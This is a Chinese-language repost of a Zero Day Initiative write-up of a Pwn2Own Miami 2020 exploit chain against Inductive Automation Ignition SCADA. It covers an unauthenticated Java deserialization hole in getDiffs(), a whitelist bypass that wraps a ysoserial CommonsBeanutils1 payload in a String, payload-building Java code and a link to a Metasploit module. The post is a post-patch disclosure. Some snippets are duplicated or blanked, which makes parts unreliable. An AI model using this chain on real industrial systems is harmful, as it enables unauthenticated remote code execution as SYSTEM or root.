2020年1月,在S4会议上举行了首届Pwn2Own Miami比赛,目标是工业控制系统(ICS)产品。在比赛中,佩德罗·里贝罗(Pedro Ribeiro)和拉德克·多曼斯基(Radek Domanski)的团队使用了信息泄漏和反序列化漏洞,以在Inductive Automation Ignition 系统上执行代码。他们在比赛第一天赢得了25,000美元。现在可以从供应商处获得补丁程序,他们已经分享了以下漏洞利用代码和演示视频。

这篇文章描述了Pedro Ribeiro(@ pedrib1337)和Radek Domanski(@RabbitPro)发现的一系列Java漏洞。这些漏洞已在一月份在ZDI的Pwn2Own Miami 2020比赛中使用。所描述的漏洞存在于8.0.0版(含8.0.7)及更高版本的Inductive Automation Ignition SCADA产品中。该漏洞最近由供应商发布了补丁,该供应商建议用户升级到8.0.10版本。以下是这些漏洞的验证视频:

https://youtu.be/CuOancRm1fg

Automation Ignition 的默认配置可供未经身份验证的攻击者利用,成功的利用将实现Windows上的SYSTEM或Linux上的root的远程代码执行。

该漏洞利用链上的三个漏洞来实现代码执行:

1.未经授权访问敏感资源。2.不安全的Java反序列化。3.使用不安全的Java库。

该博客中的所有代码段都是通过反编译8.0.7版中的JAR文件获得的。

0x01 漏洞详情

在深入研究漏洞之前,让我们介绍一下有关Automation Ignition 和/system/gateway端点的背景信息。Automation Ignition 侦听大量的TCP和UDP端口,因为除了其主要功能外,它还必须处理多种SCADA协议。

主要端口是TCP 8088和TCP / TLS 8043,它们用于通过HTTP(S)控制管理服务器并处理各种Ignition组件之间的通信。

有多个API端点正在侦听该端口,但我们关注的是在/system/gateway。该API端点允许用户执行远程功能调用。未经身份验证的用户只能调用少数几个。该Login.designer()函数是其中之一。它使用包含序列化Java对象的XML与客户端进行通信。它的代码位于com.inductiveautomation.ignition.gateway.servlets.Gateway类中。

通常,使用序列化的Java对象执行客户端-服务器通信可以导致直接执行代码,但是在这种情况下,并不是那么简单。在深入探讨之前,让我们看一下Login.designer()请求的数据信息:

响应包:

请求和响应包含序列化的Java对象,这些对象传递给可以远程调用的函数。上面的示例显示了对带有四个参数designer()的com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login类的函数的调用。

调用堆栈Login.designer()如下:

com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()`

`com.inductiveautomation.ignition.gateway.servlets.gateway.AbstractGatewayFunction.invoke()`

`com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login.designer()

该Gateway.doPost()服务程序执行一些版本和完整性检查然后将请求发送到AbstractGatewayFunction.invoke(),其分析和验证它之前调用Login.designer(),如下图所示:

public final void invoke(GatewayContext context, PrintWriter out, ClientReqSession session, String projectName, Message msg) {

String funcName = msg.getArg("subFunction")

AbstractGatewayFunction.SubFunction function = null

if (TypeUtilities.isNullOrEmpty(funcName)) {

function = this.defaultFunction

} else {

function = (AbstractGatewayFunction.SubFunction)this.functions.get(funcName)

}

if (function == null) {

Gateway.printError(out, 500, "Unable to locate function "" + this.getFunctionName(funcName) + """, (Throwable)null)

} else if (function.reflectionErrorMessage != null) {

Gateway.printError(out, 500, "Error loading function "" + this.getFunctionName(funcName) + """, (Throwable)null)

} else {

Set classWhitelist = null

int i

Class argType

if (!this.isSessionRequired()) {

classWhitelist = Sets.newHashSet(SaferObjectInputStream.DEFAULT_WHITELIST)

Class[] var9 = function.params

int var10 = var9.length

for(i = 0 i &lt var10 ++i) {

argType = var9[i]

classWhitelist.add(argType)

}

if (function.retType != null) {

classWhitelist.add(function.retType)

}

}

List argList = msg.getIndexedArg("arg")

Object[] args

if (argList != null &amp&amp argList.size() != 0) {

args = new Object[argList.size()]

for(i = 0 i &lt argList.size() ++i) {

if (argList.get(i) == null) {

args[i] = null

} else {

try {

args[i] = Base64.decodeToObjectFragile((String)argList.get(i), classWhitelist)

} catch (ClassNotFoundException | IOException var15) {

ClassNotFoundException cnfe = null

if (var15.getCause() instanceof ClassNotFoundException) {

cnfe = (ClassNotFoundException)var15.getCause()

} else if (var15 instanceof ClassNotFoundException) {

cnfe = (ClassNotFoundException)var15

}

if (cnfe != null) {

Gateway.printError(out, 500, this.getFunctionName(funcName) + ": Argument class not valid.", cnfe)

} else {

Gateway.printError(out, 500, "Unable to read argument", var15)

}

return

}

}

}

} else {

args = new Object[0]

}

if (args.length != function.params.length) {

String var10002 = this.getFunctionName(funcName)

Gateway.printError(out, 202, "Function "" + var10002 + "" requires " + function.params.length + " arguments, got " + args.length, (Throwable)null)

} else {

for(i = 0 i &lt args.length ++i) {

argType = function.params[i]

if (args[i] != null) {

try {

args[i] = TypeUtilities.coerce(args[i], argType)

} catch (ClassCastException var14) {

Gateway.printError(out, 202, "Function "" + this.getFunctionName(funcName) + "" argument " + (i + 1) + " could not be coerced to a " + argType.getSimpleName(), var14)

return

}

}

}

try {

Object[] fullArgs = new Object[args.length + 3]

fullArgs[0] = context

fullArgs[1] = session

fullArgs[2] = projectName

System.arraycopy(args, 0, fullArgs, 3, args.length)

if (function.isAsync) {

String uid = context.getProgressManager().runAsyncTask(session.getId(), new MethodInvokeRunnable(this, function.method, fullArgs))

Gateway.printAsyncCallResponse(out, uid)

return

}

Object obj = function.method.invoke(this, fullArgs)

if (obj instanceof Dataset) {

Gateway.datasetToXML(out, (Dataset)obj)

out.println("0")

} else {

Serializable retVal = (Serializable)obj

Gateway.printSerializedResponse(out, retVal)

}

} catch (Throwable var16) {

Throwable ex = var16

Throwable cause = var16.getCause()

if (var16 instanceof InvocationTargetException &amp&amp cause != null) {

ex = cause

}

int errNo = 500

if (ex instanceof GatewayFunctionException) {

errNo = ((GatewayFunctionException)ex).getErrorCode()

}

LoggerFactory.getLogger("gateway.clientrpc.functions").debug("Function invocation exception.", ex)

Gateway.printError(out, errNo, ex.getMessage() == null ? "Error executing gateway function." : ex.getMessage(), ex)

}

}

}

}

此函数执行以下操作:

1-解析收到的消息。2-标识要调用的函数。3-检查函数参数以确定是否可以安全地反序列化。4-确保参数数量与目标函数的预期数量相对应。5-调用带有反序列化参数的函数。6-将响应发送回客户端。

在反序列化之前,请检查参数以确保它们包含“安全”对象。这是通过decodeToObjectFragile()从调用com.inductiveautomation.ignition.common.Base64来完成的。此函数有两个参数:带有Base64编码对象的String和可以反序列化的允许的类列表。

public static Object decodeToObjectFragile(String encodedObject, Set classWhitelist) throws ClassNotFoundException, IOException {

byte[] objBytes = decode(encodedObject, 2)

ByteArrayInputStream bais = null

ObjectInputStream ois = null

Object obj = null

try {

bais = new ByteArrayInputStream(objBytes)

if (classWhitelist != null) {

ois = new SaferObjectInputStream(bais, classWhitelist)

} else {

ois = new ObjectInputStream(bais)

}

obj = ((ObjectInputStream)ois).readObject()

} finally {

try {

bais.close()

} catch (Exception var15) {

}

try {

((ObjectInputStream)ois).close()

} catch (Exception var14) {

}

}

return obj

}

如上所示,如果decodeToObjectFragile()接收null而不是允许的类列表,它将使用 ObjectInputStream来反序列化对象,并带来所有的问题和不安全性。但是,如果指定了允许列表,则decodeToObjectFragile使用SaferObjectInputStream该类反序列化对象。

SaferObjectInputStream类是一个包装ObjectInputStream被反序列的类的每个对象。如果该类不是允许列表的一部分,则它会拒绝所有输入并在发生任何有害影响之前终止处理。如下所示:

public class SaferObjectInputStream extends ObjectInputStream {

public static final Set DEFAULT_WHITELIST = ImmutableSet.of(String.class, Byte.class, Short.class, Integer.class, Long.class, Number.class, new Class[]{Float.class, Double.class, Boolean.class, Date.class, Color.class, ArrayList.class, HashMap.class, Enum.class})

private final Set whitelist

public SaferObjectInputStream(InputStream in) throws IOException {

this(in, DEFAULT_WHITELIST)

}

public SaferObjectInputStream(InputStream in, Set whitelist) throws IOException {

super(in)

this.whitelist = new HashSet()

Iterator var3 = whitelist.iterator()

while(var3.hasNext()) {

Class c = (Class)var3.next()

this.whitelist.add(c.getName())

}

}

protected ObjectStreamClass readClassDescriptor() throws IOException, ClassNotFoundException {

ObjectStreamClass ret = super.readClassDescriptor()

if (!this.whitelist.contains(ret.getName())) {

throw new ClassNotFoundException(String.format("Unexpected class %s encountered on input stream.", ret.getName()))

} else {

return ret

}

}

}

从上面的代码段可以看出,默认的允许列表(DEFAULT_WHITELIST)非常严格。它仅允许反序列化以下对象类型:

-- String

-- Byte

-- Short

-- Integer

-- Long

-- Number

-- Float

-- Double

-- Boolean

-- Date

-- Color

-- ArrayList

-- HashMap

-- Enum

由于这些都是非常简单的类型,因此这里描述的机制是阻止大多数Java反序列化攻击的有效方法。

不能解释Java反序列化,其发生的方式以及可能造成的破坏性。如果你有兴趣阅读更多有关它的内容,请查看Java Unmarshaller Security或此Foxglove Security文章。现在,让我们进入在Pwn2Own使用的漏洞利用链。

https://github.com/mbechler/marshalsec

https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

漏洞1:未经授权访问敏感资源

该链中的第一个漏洞是信息泄漏,但未在我们的利用中使用。未经身份验证的攻击者可以调用“project diff”函数来获取有关project的关键信息。在我们的案例中,我们将其用作攻击其他函数的跳板。

com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload类包含许多是通过未经身份验证的远程攻击者可访问操作。其中之一是getDiffs(),如下所示:

@GatewayFunction

public String getDiffs(GatewayContext context, HttpSession session, String sessionProject, String projectSnapshotsBase64) throws GatewayFunctionException {

try {

List snapshots = (List)Base64.decodeToObjectFragile(projectSnapshotsBase64)

RuntimeProject p = ((RuntimeProject)context.getProjectManager().getProject(sessionProject).orElseThrow(() -&gt new ProjectNotFoundException(sessionProject))).validateOrThrow()

List diffs = context.getProjectManager().pull(snapshots)

return (diffs == null) ? null : Base64.encodeObject(Lists.newArrayList(diffs))

} catch (Exception e) {

throw new GatewayFunctionException(500, "Unable to load project diff.", e)

}

}

如上所示,此函数将提供的数据与服务器中的项目数据进行比较,并返回差异。如果攻击者提供了有效的project名称,则可能会诱骗服务器移交所有project数据。

同样,此函数未在漏洞利用程序中使用。而是将此函数用作进一步攻击系统的跳板,下面将对此进行进一步说明。

漏洞2:不安全的Java反序列化

从代码片段6中可以看出,ProjectDownload.getDiffs()使用Base64.decodeToObjectFragile()函数来解码project数据。片段4中已经解释了此函数。如上所述,如果该函数的第二个参数中没有提供类允许列表,则它将使用标准的不安全ObjectInputStream类来解码给定对象。这导致了一个经典的Java反序列化漏洞,当与最终漏洞链接时,最终会导致远程执行代码。

漏洞3:使用不安全的Java库

该链中的最后一个链接是将Java类与易受攻击的Java gadget对象一起滥用,这些对象可用于实现远程代码执行。对我们来说幸运的是,Automation Ignition 就是这样。它使用了非常老的Apache Commons Beanutils版本1.9.2,该版本来自2013。

在著名的ysererial Java反序列化开发工具,此库有一个payload。

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsBeanutils1.java

0x02 漏洞利用开发

总而言之,要实现远程代码执行,我们需要执行以下操作:

1-创建一个ysoserial CommonsBeanutils1 payload。2-Base64编码payload。3-将payload封装在Java String对象中。4-使用标准Java序列化功能序列化String对象。5-Base64编码序列化的String对象。6-发送请求getDiffs()以调用/system/gateway恶意参数。

我们能够绕过序列化白名单并执行我们的代码!但是如何绕过?让我们深入研究。

我们的payload将具有以下格式:

base64(String(base64(YSOSERIAL_PAYLOAD))

片段3中显示的代码将对其执行Base64解码,这将导致:

String(base64(YSOSERIAL_PAYLOAD))

这是根据上一节中显示的白名单进行检查的,因为它是String类,所以可以反序列化。然后我们进入ProjectDownload.getDiffs()。它使用我们的String参数,Base64.decodeToObjectFragile()在不指定白名单的情况下对其进行调用。

如代码片段4所示,这将使Base64解码String,然后ObjectInputStream.readObject()在我们的恶意对象(YSOSERIAL_PAYLOAD)上调用,从而导致代码执行!

生成 payload

要创建payload,我们首先调用ysoserial,如下所示:

public static void main(String[] args) {

try {

String payload = ""

ByteArrayOutputStream bos = new ByteArrayOutputStream()

ObjectOutputStream objectOutputStream = new ObjectOutputStream(bos)

objectOutputStream.writeObject(payload)

objectOutputStream.close()

byte[] encodedBytes = Base64.getEncoder().encode(bos.toByteArray())

FileOutputStream fos = new FileOutputStream("/tmp/output")

fos.write(encodedBytes)

fos.close()

bos.close()

} catch (Exception e) {

e.printStackTrace()

}

}

然后,可以使用以下Java代码将payload封装在String中并将其序列化到磁盘:

public static void main(String[] args) {

try {

String payload = ""

ByteArrayOutputStream bos = new ByteArrayOutputStream()

ObjectOutputStream objectOutputStream = new ObjectOutputStream(bos)

objectOutputStream.writeObject(payload)

objectOutputStream.close()

byte[] encodedBytes = Base64.getEncoder().encode(bos.toByteArray())

FileOutputStream fos = new FileOutputStream("/tmp/output")

fos.write(encodedBytes)

fos.close()

bos.close()

} catch (Exception e) {

e.printStackTrace()

}

}

在此代码中,&lt YSOSERIAL_BASE64_PAYLOAD &gt应包含Snippet 7的输出。

最后,我们将以下请求发送到目标:

该&lt PAYLOAD &gt会包含运行的输出片段8。目标将响应:

响应包含一个堆栈跟踪,指示出了问题,但是palaod已作为SYSTEM(或Linux的根)执行。

使用Snippet 7中提供的payload后,文件C:flashback.txt中将显示文本nt authoritysystem。这表明我们已经实现了未经身份验证的远程代码执行。

0x03 分析总结

我们希望你喜欢我们在Pwn2Own Miami使用的漏洞利用。厂商在8.0.10版本中修复了这些漏洞。此版本包含许多其他修复程序以及新功能。如果你想测试自己的系统,为方便起见,我们发布了Metasploit模块。你可以在上面的视频中看到它的测试情况.

https://raw.githubusercontent.com/thezdi/PoC/master/ZDI-20-685/ignition_automation_rce.rb

参考及来源:https://www.zerodayinitiative.com/blog/2020/6/10/a-trio-of-bugs-used-to-exploit-inductive-automation-at-pwn2own-miami

声明:转载此文是出于传递更多信息之目的。若有来源标注错误或侵犯了您的合法权益,请作者持权属证明与本网联系,我们将及时更正、删除,谢谢。 邮箱地址:[email protected]

相关文章